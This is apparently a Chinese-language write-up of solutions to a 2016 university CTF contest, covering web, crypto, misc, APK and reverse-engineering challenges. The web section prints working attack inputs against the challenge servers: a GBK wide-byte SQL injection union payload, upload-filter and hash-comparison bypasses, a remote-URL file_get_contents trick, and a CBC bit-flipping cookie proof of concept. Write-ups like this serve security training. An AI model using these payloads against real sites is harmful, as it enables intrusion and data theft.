2016風雲杯大學生信安大賽 WriteUp

2016風雲杯大學生信安大賽

好吧第二次正式打CTF,雖然這次的題比較簡單,而且大部分強隊都去打whctf去了,最後10分鐘直接從第四掉到第七,也沒辦法,實力不夠,繼續練吧,貼個圖紀念一下。整體看這次的web還是比較中規中矩的,沒有過分的腦洞。自己也犯蠢了,以爲web做完了,結果最後才發現web 07沒有做真是嗶了狗了。。

web 01

代碼如下:

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){ 
  die('key: '.$key);
}
?>

一個正則匹配
payload如下

http://219.146.15.116/4t56ysgh6h7u/?id=keykeykeykeykeykeykey:/a/aakeya:]

得到最後的flag

web 02

烏雲上的一個漏洞,http://www.wooyun.org/bugs/wooyun-2015-0125982

multipart/form-data變換一下大小寫,然後把Content-Type換成隨便一個圖片格式就行了,沒截圖,記得flag是這個

KEY{bb9935dc12397882af23rghjwe3820ea2b678}

web 03

代碼如下:

<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";

echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

一道簡單的審計題,根據file_get_contents可以遠程打開文件的特性,在你的vps或是別的什麼上放一個1.txt,內容是1234,然後就可以了,payload如下:

http://139.129.166.67/gth56u778i8/?filename=http://xxxxxxxxxxxxxxx/1.txt&dpc=1234

web 04

根據提示,要POST一個usernamepassword,還要二者的md5值相同,那麼最後果斷構造如下:

username=240610708&password=QNKCDZO

不對。再試試這個

username[]=240610708&password[]=QNKCDZO

對了,然後提示說不是admin,看看cookie,果斷改一下就可以了,一個base64,
所以最後的payload如下圖:

web 05

通過備份文件~看到源碼如下:

<?php
$_GET['myid'] = urldecode($_GET['myid']);

$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {

if ($_GET['name'] == $_POST['password'])

print 'Your password can not be your name.';

else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

直接用數組繞過就可以了
payload如下:

得到flag

web 06

mysql寬字符注入,沒有別的過濾,直接構造聯合查詢從系統表information_schema裏面爆出表名和列名,這裏注意下編碼的轉換就行了,別的沒有什麼坑點,該數據庫下面有兩個表article,flagflag表裏有兩個字段id,thisisflag,最後給個payload

http://139.129.166.67/5t5y6huj7j7/index.php?id=1%c0' and 1=2 union select 1,convert(group_concat(thisisflag) using gbk) from flag--+

然後的得到flag

web 08

一道CBC字節翻轉攻擊,給個鏈接:http://drops.wooyun.org/tips/7828
根據文章寫POC,代碼如下:

<?php
        //1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123
        $enc = "9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig=";
        $enc = base64_decode($enc);
        echo "<br>".($enc)."<br>";
        $enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
        echo "<br>".($enc)."<br>"; 
        $c = base64_encode($enc);
        $d = urlencode($c);
        echo "Plaintext after attack : <br>$c<br>";
        echo "Plaintext after attack : <br>$d<br>";
?>

得到如下:


9pzE4775q38%2BwGl%2FFqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2JwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig%3D

然後修改cookie直接提交,即獲得flag

web 09

這道題一開始就跳轉到了這裏

http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==

出現一堆沒用的東西,對file解碼是key.txt,換成index.php後發現,這裏存在任意代碼讀取,不斷修改line的值得到index.php完整代碼如下:

<?php
error_reporting(0); 
$file=base64_decode(isset($_GET['file'])?$_GET['file']:""); 
$line=isset($_GET['line'])?intval($_GET['line']):0; 
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA=="); 
$file_list = array( 
'0' =>'key.txt', 
'1' =>'index.php', 
); 
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){  
$file_list[2]='thisis_key.php'; 
} 
if(in_array($file, $file_list)){ 
$fa = file($file); 
echo $fa[$line]; 
} 
?>

然後審計下構造如下請求:

於是得到flag是KEY{key_anyuntec_co0kies}

CRYPTO 01

一道培根加密,
原文是

woUld you prEfeR SausaGes or bacoN  wiTH YouR EgG?

換過來變成

aabaa aaaaa baabb aaaab aaaaa aaaba abbba abbab

百度百科裏的第一個表,換成答案就是

eatbacon

misc 01

winhex打開得到的JPG圖片,在文件exif發現一串可疑字符ZmxhZ3tsdW9fcm9vbX0,加上=base64解碼後得到
flag{luo_room}

misc 02

解壓後得到jpg圖像,從圖像的文件結尾後摳出了一個zip壓縮包,判斷了一下不是僞加密,根據提示銀行卡密碼,用工具暴力破了一下,得到了文件密碼,解壓後得到了flag.txt
KEY{luffy_and_jet}
圖片標題

misc 03

解壓後得到一張jpg,用winhex看了一下頭部 直接得到flag···什麼鬼···
圖片標題

misc 06

觀察了一下數據包,是ftp傳輸,有幾個包特別顯眼如下:
圖片標題
把他們都用winhex摳出來,data3是一個帶加密的zip文件,data5說社社會工程學說,很多用戶習慣於用一樣的密碼。試了一下其他幾個data中的密碼都不對,重新去觀察數據包,觀察到下圖中的包:
圖片標題
得到密碼whoami127.0.0.1,嘗試解壓,成功!得到KEY{351d5ead1ca31ed33deb6f6a3111e117}

apk 01

打開zip文件發現需要密碼,立馬反應到這是僞加密

爲了偷懶把他的加密位用網上的腳本將一改成零即可

apk變成普通的apk後再按正常步驟:

AndroidManifest.xml文件中可以發現

//KEY{f2b0590b558a08514e1c497d400d08ba}

apk 03

這哈哈都寫出來了,明顯是忽悠人的。。。

FlagActivity裏能看到

int[] arrayOfInt = { 75, 69, 89, 123, 97, 119, 52, 110, 110, 52, 95, 107, 52, 114, 95, 109, 120, 95, 100, 51, 120, 125 };

ascii碼轉換一下就是答案

    KEY{aw4nn4_k4r_mx_d3x}

apk 04

函數有點多,看着有點蛋疼,全都看一遍就好了,其實並不難。

純分析的話不用寫一行代碼就能做出這道題,下面我把我分析的步驟都寫出來,具體分析步驟如下

uc這個class裏比較顯眼

public static String nj = "XRL}D6hy4yfE7tuF6{";

這個太扎眼了,一眼就能看出來

因爲看過前面的函數有印象:

while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}

兩個大括號反過來了就是因爲這裏的

else
c = (char)(j ^ 0x6);

else就是除了數字和字母之外的字符
0x6異或剛好就把最低位反過來然後括號反過來了

然後調用函數的時候:

uc.bh(cc.encrypt(str1), ca.encrypt(str1), cb.encode(str1));

之後:

public static boolean bh(String paramString1, String paramString2, String paramString3)
{
String str = paramString1 + paramString2 + paramString3;

可見他用了三個函數,但是因爲前面分析的括號可知研究第一個加密函數就可以了

public static String encrypt(String paramString)
{
String str = "";
int i = 0;
if (i >= paramString.length())
return str;
int j = paramString.charAt(i);
char c;
if ((j >= 97) && (j <= 109))
c = (char)(j + 13);
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
}

這個函數的意思一看便懂:上半邊字母表和下半邊字母表對換
數字的話異或一下,還原出來就是:

XRL}D6hy4yfE7tuF6{ -->
KEY{Q1ul3lsR0ghS1}

re 01

首先通過PEID查看,發現是upx殼,在機脫失敗後,直接採取手脫,到達程序入口。

發現本題是簡單的字符串比較,並不存在什麼難點


得到flag。

re 03

加載進OD觀察下,發現沒有加殼,需要輸入用戶名和密碼:

兩個對於長度有一些限制,用戶名可以直接得到

對於密碼則採用了異或比較的方式:

寫個腳本模擬一下:

得到結果:
McDull@Aun
YuyuMyl@ve!

re 04

用od加載發現有反調試,於是用ida加載進來,觀察了一下函數的基本結構。
主體就是簡單的for循環,在特定時候調用輸出函數,所以我們只要模擬下就行了。

#include"stdio.h"

__int8 byte_40336D,byte_40336F,byte_40336E,byte_40336C;

int sub_401920()
{
  return printf(
           "%c%c%c%c",
           (unsigned __int8)byte_40336D,
           (unsigned __int8)byte_40336F,
           (unsigned __int8)byte_40336E,
           (unsigned __int8)byte_40336C);
}

int __cdecl sub_401960(int a1)
{
  signed int v2; // [sp+0h] [bp-10h]@5
  signed int v3; // [sp+4h] [bp-Ch]@7
  signed int v4; // [sp+8h] [bp-8h]@3
  signed int v5; // [sp+Ch] [bp-4h]@1



  byte_40336D = *(__int8 *)a1;
  byte_40336F = *(__int8 *)(a1 + 1);
  byte_40336E = *(__int8 *)(a1 + 2);
  byte_40336C = *(__int8 *)(a1 + 3);
  v5 = 5;
  do
  {
    byte_40336D += v5;
    byte_40336D ^= 3u;
    --v5;
  }
  while ( v5 );
  v4 = 4;
  do
  {
    byte_40336F += v4;
    byte_40336F ^= 4u;
    --v4;
  }
  while ( v4 );
  v2 = 3;
  do
  {
    byte_40336E += v2;
    byte_40336E ^= 5u;
    --v2;
  }
  while ( v2 );
  v3 = 2;
  do
  {
    byte_40336C += v3;
    byte_40336C ^= 6u;
    --v3;
  }
  while ( v3 );
  return 0;
}

int __cdecl sub_401A70(int a1)
{
  int result; // eax@1
  unsigned int l; // [sp+0h] [bp-1Ch]@7
  unsigned int k; // [sp+4h] [bp-18h]@5
  unsigned int i; // [sp+8h] [bp-14h]@1
  char v5; // [sp+Ch] [bp-10h]@9
  char v6; // [sp+Dh] [bp-Fh]@9
  char v7; // [sp+Eh] [bp-Eh]@9
  char v8; // [sp+Fh] [bp-Dh]@9
  unsigned int j; // [sp+10h] [bp-Ch]@3
  int v10; // [sp+14h] [bp-8h]@1
  int v11; // [sp+18h] [bp-4h]@1

  v10 = 0;
  v11 = 0;
  for ( i = 0; i <= 0xFF; ++i )
  {
    printf("^");
    for ( j = 0; j <= 0xFF; ++j )
    {
      for ( k = 0; k <= 0xFF; ++k )
      {
        for ( l = 0; l <= 0xFF; ++l )
        {
          ++v10;
          v5 = j;
          v6 = i;
          v7 = l;
          v8 = k;

          char arry[4];
          arry[0]=v5;
          arry[1]=v6;
          arry[2]=v7;
          arry[3]=v8;



          if ( v10 == a1 )
          {
            sub_401960((int)arry);
            sub_401920();
          }

        }
      }
    }
    result = i + 1;
  }
  return result;
} 

int __cdecl main()
{
  sub_401A70(1147021405);
  sub_401A70(942305638);
  sub_401A70(493974365);
  sub_401A70(942764337);
  printf("\n不是這裏       ..什麼也沒有    \n");
  return 0;
}

模擬結果如下,得到答案:

flag:jN_+6Bnp?_rGB;p

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章